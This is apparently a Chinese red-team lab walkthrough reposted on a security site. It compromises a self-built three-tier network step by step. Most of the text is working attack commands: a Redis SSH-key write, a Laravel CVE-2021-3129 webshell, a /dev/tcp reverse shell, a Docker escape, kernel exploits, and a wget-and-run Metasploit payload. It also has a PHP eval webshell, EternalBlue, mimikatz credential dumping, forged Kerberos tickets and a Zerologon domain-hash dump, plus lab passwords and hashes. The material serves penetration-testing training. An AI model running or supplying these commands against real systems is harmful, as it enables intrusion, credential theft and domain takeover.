红队——多层内网环境渗透测试(三)

admin 2023年12月28日15:07:29评论58 views字数 15565阅读51分53秒阅读模式

本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Laravel Debug mode RCE(CVE-2021-3129)漏洞利用,Docker逃逸,Redis未授权访问漏洞,SSH密钥利用,非约束委派和约束委派,NTLM中继攻击,SMB Relay攻击,哈希传递,黄金票据和白银票据,CVE-2020-1472提权等等。

文中若有不当之处,还望各位大佬多多点评。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

环境配置

网络拓扑图

整个环境共五台机器,分别处于三层内网环境中。网络拓扑图如下,整个靶场设计模拟真实网络环境中的情况,分别划分了DMZ区,生产区和核心区,不同区域间通过网段划分进行隔离。

  • DMZ区IP段为192.168.52.1/24

DMZ区的靶机拥有两个网卡,一个用来对外提供服务,一个用来连通第二次网络。

  • 生产区IP段为192.168.52.1/24

第二层网络的靶机同样有两个网卡,一个连通第二层网络,一个连通第三层网络

  • w核心区IP段为192.168.93.1/24

第三层网络的靶机只有一张网卡,连通第三层网络,包含域控机器与域内服务器

机器 对应IP 区域 服务器作用
Ubuntu 64 位 (Web 1) ubuntu:web2021 172.23.2.67 192.168.52.10 DMZ区 边界突破机 redis、Nginx反代理服务器
Ubuntu 64 位 (Web 2) ubuntu:ubuntu 192.168.52.20 192.168.93.10 生产区(二层网络) web服务器
win7(pc1) bunny:Bunny2021 192.168.93.20 192.168.52.30 生产区(二层网络) OA
win7(pc2) moretz:Moretz2021 192.168.93.40 核心区(三层网络) 域成员
windows server 2012 192.168.93.30 核心区(三层网络) 域控

由于网络环境问题,测试过程中部分ip可能会发生变化。

靶机信息

域用户账户和密码如下:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

涉及的知识点

端口扫描、端口服务识别、漏洞探测利用、Laravel Debug mode RCE(CVE-2021-3129)漏洞利用、Docker逃逸、通达OAv11.3漏洞利用、Linux环境变量提权、Redis未授权访问漏洞、Linux sudo权限提升(CVE-2021-3156)漏洞利用、MS14-068漏洞利用、路由转发与代理、多层隧道代理、内网信息收集、NTLM与SMB Relay攻击、Psexec远控、哈希传递(PTH)、黄金票据、白银票据

攻击过程

信息收集

我们现在开始对目标的攻击,我们首先对入口机web服务器进行渗透测试,寻找突破口,对172.23.2.67进行全端口扫描,扫描后发现存在四个端口

80端口

81端口开了Laravel

接下来还剩下两个服务 22、6379。22端口爆破动静会很大,可以放到后面无计可施的时候再去尝试,先测试一下6379端口,因为这个一旦攻击成功即可获取root权限。Web攻击获取的有可能是低权限,而且也可能会遇到一些waf之类的防护等不确定因素。因此我们先尝试redis未授权漏洞。

Redis 未授权访问

redis-cli -h 192.168.52.10

测试成功,发现存在redis未授权漏洞

现在我们退出redis,回到kali中,利用redis未授权漏洞写入公钥私钥。

首先在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥

ssh-keygen -t rsa

第一行输入id_rsa,密码设置为空,直接回车

(echo -e "nn";cat id_rsa.pub; echo -e "nn") > key.txt

通过redis将key写入到服务器中

cat key.txt | redis-cli -h 192.168.52.10 -x set hack

连接目标主机的redis

redis-cli -h 192.168.52.10

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh

//设置redis的备份路径为/root/.ssh

config set dbfilename authorized_keys

//设置上传公钥的备份文件名为autorized_keys

将数据保存

save

quit

ssh -i id_rsa [email protected]

写入成功即可直接ssh登录到服务器上。

内网信息收集

获取到一台机器的控制权限后,我们查看当前网络情况,第一个是我们外网的入口机器地址,第二个是我们内网地址。

现在我们已经拿到了root权限,并且机器是可以出网的。

netstat -pantule

可见貌似机器上只有22、80、81、6379端口对我们来说有价值一些,我们尝试进一步信息收集,去找到一些有用的信息。

发现机器上有一个www站点,但是只有一个静态网址,没什么可利用的价值。

现在寻找一下81端口的绝对路径文件

sudo netstat -tuln | grep ':81'

ps -p 788 -o cmd

这里貌似是执行了这行命令,没有找到绝对配置文件,我们可以应该进一步去查看nginx的配置文件。

nginx的配置文件一般都在 /etc/nginx/nginx.conf或者/etc/nginx/conf/nginx.conf 位置

http://192.168.52.20:8000

由此可见,他的80端口和81端口的网站都是来自于服务器,那么我们拿到的这台服务器应该是角色可以断定,是Nginx反代理服务器,那么我们的下一步的攻击思路就是,攻击内网192.168.52.20的web服务。

使用命令查看ARP缓存表

总结:

1、服务器角色:Nginx反代理服务器

2、内网地址:192.168.52.10

3、入口机 可出网

小结:下一步就是搭建一个隧道,其次针对我们从配置文件得知的Nginx反代理服务器上获取的内网地址,来扫描这个C段

内网隧道穿透---一层

由于靶场是模拟实战环境,我们搭建一个frp隧道,因为这里不管是出网还是不出网,其实我们都是要搭建隧道的,判断出不出网,只是用来判断,我们要利用什么样的协议去进行搭建隧道而已。上传的利用文件均放在tmp目录下。

frps端

frpc端

上传客户端到kali上的tmp中,用python开启一个http服务

python -m http.server

wget http://192.168.52.129:8000/frpc.ini.

wget http://192.168.52.129:8000/frpc.

运行frpc时报错,应该是frp版本有问题了,尝试更换frp版本

./frpc -c a.txt

再次运行

./frpc -c a.txt

代理隧道已经搭建成功,利用kali的proxychains4进行代理配置

隧道已经搭建成功。此时我们使用工具进行内网探测

Laravel-CVE-2021-3129漏洞利用

访问链接可见Laravel版本号,根据fscan扫描结果得知,该版本存在漏洞,那么我们尝试使用对应的exp进行深入利用。

工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

webshell地址:http://192.168.52.20:8000/fuckyou.php

密码:pass

这里我们连接shell,攻击成功。执行ifconfig之后发现没有回显,初次判断是权限太小。

继续信息收集

这里很多docker字样,由此判断我们在docker容器中

Hostname

cat /proc/1/cgroup

目前的情况是得知目前获取的机器权限是docker,但是我们的权限过于低级,什么事情都干不了,于是乎我们尝试提权。在提权之前,我们先对系统信息收集一下

深度信息收集

在tmp目录上传信息收集脚本,对机器进行信息收集

反弹shell

反弹到入口机的shell

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1236<&1'

上传信息收集脚本,赋予权限并且运行。

chmod +x linpeas.sh

/tmp/linpeas.sh

发现可能存在的提权漏洞,我们使用exp尝试进行提权。

pkexec 本地提权内核提权-CVE-2021-4034

尝试使用2021年的提权神器,内核提权-CVE-2021-4034-pkexec 进行本地提权

可惜尝试失败了,我们尝试其他的提权方式。

脏牛提权

上传脏牛脚本,尝试用脏牛提权

gcc -pthread dirty.c -o dirty -lcrypt

运行脏牛提权

./dirty

这个提权也是失败的

现在内核提权无法使用,那就只能用信息收集脚本来找具有SUID或4000权限的文件了

环境变量提权

回头看信息收集的文件的时候发现其中:

这里我们运行一下这个shell文件,发现好像是执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。

cd /tmp;echo "/bin/bash" > ps

chmod 777 ps;echo $PATH

export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

cd /home/jobs

./shell

# 此时我们获得了root权限,可以执行命令了

当我们拿到了docker的root权限之后,直接查看是否开启了镜像挂载

如果存在挂在的话,是可以进行docker逃逸的

Docker特权模式逃逸

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

mkdir /tmp/hackone

mount /dev/sda1 /tmp/hackone

ls /tmp/hackone

挂载成功

现在我们把宿主机的文件挂在到我们的/tmp/hack上了,我们目前的思路是,把我们自己生成的ssh密钥复制到宿主机上进行写入到.ssh目录中的authorized_keys文件中,写入成功之后就可以使用该密钥进行登陆该机器。现在我们查看一下宿主机上有什么用户

ls /tmp/hackone/home

可见ubuntu用户,那么我们只能将密钥复制到ubuntu上面去了

ls /tmp/hackone/home/ubuntu/.ssh

cp -avx /tmp/hackone/home/ubuntu/.ssh/id_rsa.pub /tmp/hackone/home/ubuntu/.ssh/authorized_keys

#-avx是将权限也一起复制,现在将id.rsa.hub再复制成一个authorized_keys文件

echo > /tmp/hackone/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件

清空之后,我们在生成一个密钥,然后将生成的.pub文件内容复制替换过去

先创建一个test文件保存我们的密钥

ssh-keygen -t rsa

输入hackone 回车 回车

#定义密码为空

查看密钥

ls

把我们的密钥写进去

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCxRU01fn0Nz7+1GE1uhBdLjy8999jdYnyCYiVaL+u+RV/7dKmOFByZkhQwaGoFWN/R73Nvq003puku/w+gjCs368UsHWvyUSfeoDMMRdXGXYQVuJ4jjQ0C+AvkPnQ4Ejo1FMkJD1yAnIzpHLnsqbp53zMCMb8F9/2DchyqMKFluHsOgU9wYfwEJAI0vVoEZ6pplxGCrjhEPTGZicJ4vTE8uj6Sq9so7YhskXtJDaR7XYaCRiVEtmaWGombSAt1P/OPGV8Ul8qMs9r1+N4+z2xF6Dztl25bn0sC2zTQmQa15iN84f+ule2w5bZy057Auys134dFMPjUt9oESPC/5bF root@ubuntu' > /tmp/hackone/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件

cat /tmp/hackone/home/ubuntu/.ssh/authorized_keys #查看是否写入成功

可见已经成功写入

那么我们回到入口机的ubuntu目录中,用密钥来尝试登录目标机器

ssh -i hackone [email protected]

成功登录到对方机器,至此已拿到二层网络的web服务器

二层网络信息收集

我们查看网络信息,发现存在两张网卡

Ubuntu内核overlayfs提权漏洞[CVE-2021-3493]

我们尝试进一步提权,首先查看ubuntu版本号

google到相关的cve漏洞编号

漏洞原理为linux内核中的overlayfs文件系统没有正确根据用户命名空间校验 capability权限,从而导致普通用户可以利用该漏洞提升权限为root用户。

linux内核代码允许低权限用户在使用unshare()函数创建的用户命名空间中挂载overlayfs文件系统。当使用setxattr()函数设置merged联合挂载目录中文件的security.capablility扩展属性时,根据overlayfs文件系统的特性,将实际修改init_user_ns下upper目录中对应文件的扩展属性,从而造成本地提权问题。

漏洞影响版本包括:Ubuntu 20.10、Ubuntu 20.04 LTS、Ubuntu 18.04 LTS、Ubuntu 16.04 LTS、Ubuntu 14.04 ESM

漏洞利用过程如下:

下载exp https://github.com/briskets/CVE-2021-3493

将exp上传到kail中,并开启一个http

先进入tmp目录下,然后下载提权的exp

wget http://192.168.52.129:8000/exploit.c

gcc exploit.c -o exploit

./exploit

至此提权成功

拿到root权限之后,我们这个状态的权限使用起来不舒服,我们将其反弹到msf上,因为前面我们信息收集是可出网的状态。我们可以上线msf

Web方式上线Ubuntu

运行之后会给出一个payload

use exploit/multi/script/web_delivery

set target 7 #意思是选择linux的上线方式

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.52.129

set lport 60011

exploit

好了,万事俱备,现在去二层网络的ubuntu上执行wget下载上线木马

wget -qO 1viRyX4N --no-check-certificate http://192.168.52.129:8080/7phBkP5QVEYVJ; chmod +x 1viRyX4N; ./1viRyX4N& disown

现在我们回到kail上看一眼是否有session回来

输入session命令之后可见已经上线成功

sessions -i 1

目前位置我们上线了msf之后,我们前面已经做过了信息收集,我们需要重新调整,我们得知,已经本台机器可出网的,并且有一张网卡是通30段的,并且我们也可得知,我们的入口机器是无法与30段进行通信的

run get_local_subnets

//可以用此命令查看目标机器所在内网网端信息与公网网端信息。

所以根据此情况,我们需要在msf上添加路由,让我们可以通向30段

run autoroute -s 192.168.52.0 -n 255.255.255.0

run autoroute -p

搭建二层代理隧道

首先,搭建二层代理链路,我们需要继续上传frp

frps服务端的配置文件

frpc客户端的配置文件

python -m http.server

开启http服务

wget http://192.168.52.129:8000/frps

wget http://192.168.52.129:8000/frps.ini

现在我们回到入口机器,上传frps,并且运行他

chmod +x frps;./frps -c frps.ini

然后下载frpc到二层网络中的ubuntu中

我们来到msf控的ubuntu中进行下载

wget http://192.168.52.129:8000/frpc

wget http://192.168.52.129:8000/s.txt

wget http://192.168.52.129:8000/fscan_amd64_linux

然后运行他

chmod +x frpc

./frpc -c s.txt

代理连接成功

(注意:二层网络的frps流量是不会实时更新的,估计更新到最外层的vps上了)

详细配置如下

访问二层内网主机OA系统

通过kail的proxychains工具走frp的二层代理证明的代理的可达性

通达OA漏洞测试

经过测试得知其版本为通达OA V11.3

该版本的通达OA存在命令执行漏洞

POST /ispirit/interface/gateway.php HTTP/1.1

Host: 192.168.52.30:8080

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: python-requests/2.21.0

Content-Length: 76

Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami

写入webshell

尝试过多种下载木马,发现无法下载回到本地,现在的想法是写webshell再来上传

json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=echo "<?php eval($_REQUEST[8]);?>" >> 1.php

查看的时候并没有写入

尝试单引号写入

也不行

现在单双引号都不行,我打算尝试将一句话木马进行base64编码

<?php eval($_REQUEST[888]);?>

PD9waHAgZXZhbCgkX1JFUVVFU1RbODg4XSk7Pz4K

成功写入编码

certutil -decode C:MYOAwebrootispiritinterface2.php C:MYOAwebrootispiritinterface3.php

type 3.php

http://192.168.52.30:8080/ispirit/interface/3.php

密码:888

Webshell权限维持

隐藏我们的webshell

attrib +H +S C:MYOAwebrootispiritinterface5.php

系统信息收集

systeminfo

判断两张网卡。目标很有可能存在第三层网络,并且机器是win7

从ipconfig /all中得知两个重要的信息点

1、DNS指向了一个域名,很有可能该机器存在域中

2、192.168.93.20这张网卡大概率是通向域控的,因为DNS指向了192.168.93.30

进一步验证域控

nslookup -type=srv ldap.tcp

#查看DNS服务器的地址,⼀般DNS服务器的IP就是域控的地址

nslookup -type=all ldap.tcp.dc._msdcs.jumbolab.com

arp -a

收集凭据

现在信息收集也没有收集到什么特别有用的东西,现在的想法是mimikatz、fscan扫描这个段其他机器的漏洞直接横向过去,但是我又要搭建三层隧道访问内网

回到虚拟终端中执行

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir

其他账户其实都不太重要,我们只关注最高权限的账户

值得一提的是,我们发现域控账号登录过我们的机器

我们可以利用这一点来进行做进一步利用

以及一个域用户

账号总结:

* Username : Administrator

* Domain : WHOAMIANONY

* Password : Whoami2021

* Username : bunny

* Domain : WHOAMIANONY

* Password : Bunny2021

拿到这些信息之后,我们可以直接打进域控了,但是为了把战果最大化拿下更多的机器,不明确还会不会有其他linux机器,我们先对第三层网络进行信息收集,我们上传一手fscan

然后我们对192.168.93.20的C段进行扫描

fscan -h 192.168.93.20/24 -o 93.c.txt

查看文件

目前发现域控和另外一台win7都存在着ms17010

根据环境情况,我们的kail是无法访问第三层网络的,我们只能访问到第二层网络的所有机器,所以我们需要搭建三层隧道

Ms17-010永恒之蓝

在此之前,我们之前配置过二层隧道,所以我们的proxychains的配置文件也需要配置一下

二层隧道的配置

这样我们通过代理来把msfconsole的流量带入三层内网

我们优先测试的攻击对象是192.168.93.40,由于机器是不出网的,只能我们自己去访问他,所以我们打ms17-010正向连接

use exploit/windows/smb/ms17_010_eternalblue

set rhosts 192.168.93.40

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.93.40

set lport 7789

exploit

攻击成功

system权限,这台机器已经沦陷了

那么我们还剩下最后一台机器,就是域控DC了

Psexec横向移动

我们前面已经获取到域管的密码了,现在直接锤域控就好了

use exploit/windows/smb/psexec

set rhosts 192.168.93.30

set SMBUser administrator

set SMBPass Whoami2021

set payload windows/meterpreter/bind_tcp

set rhost 192.168.93.30

run

目前我们只拿到了会话,没有拿到shell,这里不知为什么反弹不回来

所以现在的想法是,换一种打法

手动Psexec横向移动

首先我们先简历IPC管道连接

net use 192.168.93.30 /u:godadministrator Whoami2021

其次,我们在使用psexec去获取域控的shell权限

PsExec.exe -accepteula 192.168.93.30 -s cmd.exe

可见我们并没有横向过去

手动psexec也无法反弹shell回来,现在我们尝试使用域控的一些漏洞

Sam-the-admin域内提权

proxychains python3 sam_the_admin.py "whoamianony/bunny:Bunny2021" -dc-ip 192.168.93.30 -shell

攻击成功

执行ipconfig

开启域控的3389

reg add "HKLMSYSTEMCURRENTCONTROLSETCONTROLTERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

查看3389是否开启---> 0-开 1-关

REG query "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

3389上域控桌面

通过我们的隧道去连接3389

proxychains rdesktop 192.168.93.40

(注:这里kail无法直接连接域控的,因为kail无法与kdc进行身份校验,所以只能通过域控中的机器进行远程过去)

上去之后把mimikatz先给到第三层网络的windows7中,然后再拖入dc机器中,远程连接DC机器

然后再192.168.93.40机器上远程控制域控机器

权限维持---白银票据

我们上了域控之后,先手保存域控的SID,然后利用mimikatz获取ntlm,获取域控的SID

S-1-5-21-1315137663-3706837544-1429009142-500

我们先前拿了PC1的权限,现在利用pc1的webshell来开启python HTTP,让域控去访问下载我们的mimikatz

Webshell执行python版本确认为2.7

python -m SimpleHTTPServer 8089

再次确认pc1的ip地址

点击下载mimikatz回到我们的dc机器中

http://192.168.93.20:8089/

域控机器的NTLM

Ntlm:a41cd58e8524eadcc9c029bf51f47dc1

SID:S-1-5-21-1315137663-3706837544-1429009142-500

我们只要拿到这些信息就可以退出远程桌面域控了

回到我们的PC1上进行生成票据即可

Mimikatz里进行生成白银票据

kerberos::golden /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /target:dc.whoamianony.org /service:cifs /rc4:a41cd58e8524eadcc9c029bf51f47dc1 /user:administrator /tickets

权限维持---权限校验

目前还没有导入票据,访问域控是被拒绝的

Mimikatz加载票据到内存中

kerberos::ptt ticket.kirbi

再次访问域控dir dc.whoamianony.orgc$

可见已经访问成功

Zerologon域攻击(CVE-2020-1472)

https://github.com/mstxq17/cve-2020-1472

secretsdump.py是Impacket工具包中的一个脚本,该脚本实现了多种不需要在远程主机上执行任何代理的情况下转储机密数据的技术。现在用这个脚本+密码的情况下可以获取到域控机器的hash,那么打完置空之后,尝试不适用密码。来尝试一下是否能获取域控的所有用户的hash。

proxychains4 python secretsdump.py whoamianony.org/Administrator:'Whoami2021'@192.168.93.30 -just-dc-user DC$

验证漏洞是否存在:

使用zerologon_tester.py,验证是否存在漏洞

proxychains4 python zerologon_tester.py DC 192.168.93.30

漏洞验证成功,漏洞存在!

漏洞利用:

使用cve-2020-1472-exploit.py将机器账户重置

proxychains4 python cve-2020-1472-exploit.py dc$ 192.168.93.30

攻击结果如下:

现在验证,看一下我们的dc机器是否充值密码为空了

proxychains4 python secretsdump.py whoamianony.org/Administrator:'Whoami2021'@192.168.93.30 -just-dc-user DC$

利用secretsdump.py脚本查看域控的机器账户可以使用DCSync导出域内所有用户凭据,利用DRS(Directory Replication Service,目录复制服务)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据。

执行命令导出所有用户的hash:

proxychains4 python secretsdump.py whoamianony.org/[email protected] -no-pass

administrator:500:aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6be58bfcc0a164af2408d1d3bd313c2a:::

whoami:1001:aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec:::

whoamianony.orgbunny:1112:aad3b435b51404eeaad3b435b51404ee:cc567d5556030b7356ee4915ff098c8f:::

whoamianony.orgmoretz:1115:aad3b435b51404eeaad3b435b51404ee:ba6723567ac2ca8993b098224ac27d90:::

DC$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

PC2$:1113:aad3b435b51404eeaad3b435b51404ee:3ebdef39f1e95a8b64c726b55aba9ffc:::

SAMTHEADMIN-89$:1603:aad3b435b51404eeaad3b435b51404ee:1e31a9d5b5aabf47c2ee958d12aa7853:::

SAMTHEADMIN-54$:1604:aad3b435b51404eeaad3b435b51404ee:31063770aac7d15b93954d1c92fb0df8:::

[*] Kerberos keys grabbed

krbtgt:aes256-cts-hmac-sha1-96:77dd8d0b0d436b6df02303f0a5a98d95acda6f84144ea53525bfee5ffda45afb

krbtgt:aes128-cts-hmac-sha1-96:aaeee8cffc1ade3061ce78b89237a7b8

krbtgt:des-cbc-md5:9b3446f829dfbf3e

whoamianony.orgbunny:aes256-cts-hmac-sha1-96:62694713f45b34ebcd0dd2ad5a66ebb20a7245e839b5a2a149d2ab367a703120

whoamianony.orgbunny:aes128-cts-hmac-sha1-96:63064306d5306e43c7c56c7d7ac44d57

whoamianony.orgbunny:des-cbc-md5:8fd6bc2980d5523b

whoamianony.orgmoretz:aes256-cts-hmac-sha1-96:854ae083f158747bf98a27b4f32bccfe369c8e3d04c5eb12b14c0e25117dc2cf

whoamianony.orgmoretz:aes128-cts-hmac-sha1-96:6630108d408ba8ee70eda87474753a21

whoamianony.orgmoretz:des-cbc-md5:4ca849cbda4089c7

DC$:aes256-cts-hmac-sha1-96:158b91d51f464d4925203f858df685b6902071fa99d8548db9d949a396953a68

DC$:aes128-cts-hmac-sha1-96:23cdac24d614d6dabbd7a3c66e4e2477

DC$:des-cbc-md5:92da0d348a19a73b

PC2$:aes256-cts-hmac-sha1-96:d7c566fd53be44d2a946e0fe300a672887fa8af3ee94d778933c72aa1042d9c6

PC2$:aes128-cts-hmac-sha1-96:d734ec3f08eb682c495f4701da618f25

PC2$:des-cbc-md5:d94531685b9eba79

SAMTHEADMIN-89$:aes256-cts-hmac-sha1-96:ef559a2f5c37f1e3336f0b99753aaf35b575968306af16aa1c9192df5e00c35e

SAMTHEADMIN-89$:aes128-cts-hmac-sha1-96:7e068864a7269c2bcaf3ff97d784fbc0

SAMTHEADMIN-89$:des-cbc-md5:b6d0496410150e92

SAMTHEADMIN-54$:aes256-cts-hmac-sha1-96:00d76cd973e926ecc688d21ef311e6c6052dc98a3c59ba8588de1d0c433b88e4

SAMTHEADMIN-54$:aes128-cts-hmac-sha1-96:2c676447fce1a1cead4c04b3f9693ff8

SAMTHEADMIN-54$:des-cbc-md5:586b1f16237fdfa1

利用hash登录域控

proxychains4 python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec [email protected]

接着运行以下命令导出SAM文件:

reg save HKLMSYSTEM system.save

reg save HKLMSAM sam.save

reg save HKLMSECURITY security.save

get system.save

get sam.save

get security.save

del /f system.save

del /f sam.save

del /f security.save

将域控密码进行恢复,避免脱域:

利用本地解密脚本secretsdump.py对刚刚下载下来的.save文件进行解密,命令如下:

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

使用脚本reinstall_original_pw.py将域控密码进行恢复,不然会导致脱域。

上面解出来的$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:eaeed2d485e814c7563517f521fe132b

用于下面的恢复脚本进行恢复,hash只需要后半部分即可。

python3 reinstall_original_pw.py DC 192.168.93.30 eaeed2d485e814c7563517f521fe132b

最后,验证一下恢复结果,使用如下命令:

python3 secretsdump.py whoamianony.org/[email protected] -just-dc -no-pass

python3 secretsdump.py whoamianony.org/[email protected] -no-pass # 四个空格

权限维持---黄金票据

目前是不可访问状态:

接下来制作金票

S-1-5-21-1315137663-3706837544-1429009142-500

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6be58bfcc0a164af2408d1d3bd313c2a:::

kerberos::golden /admin:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket

Kerberos::ptt ticket.kirbi

重启cmd,再次访问域控机器

总结

通过上述过程,我们对比如白银票据,黄金票据,Docker逃逸,Zerologon域攻击(CVE-2020-1472)等漏洞有了新的认知或者理解,网络安全的学习离不开实际操作,想要搞明白漏洞更是要实际去复现学习。靶场还包含其他一些域提权的漏洞与方式,大家可以继续尝试。

最后希望大家提高安全意识,没有网络安全就没有国家安全!

感兴趣的小伙伴,或者遇到任何安全问题的小伙伴都可以加我们官方客服进群互动,德斯克信息安全专家服务,为你解决信息安全问题!!!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月28日15:07:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队——多层内网环境渗透测试(三)http://cn-sec.com/archives/2341523.html

发表评论

匿名网友 填写信息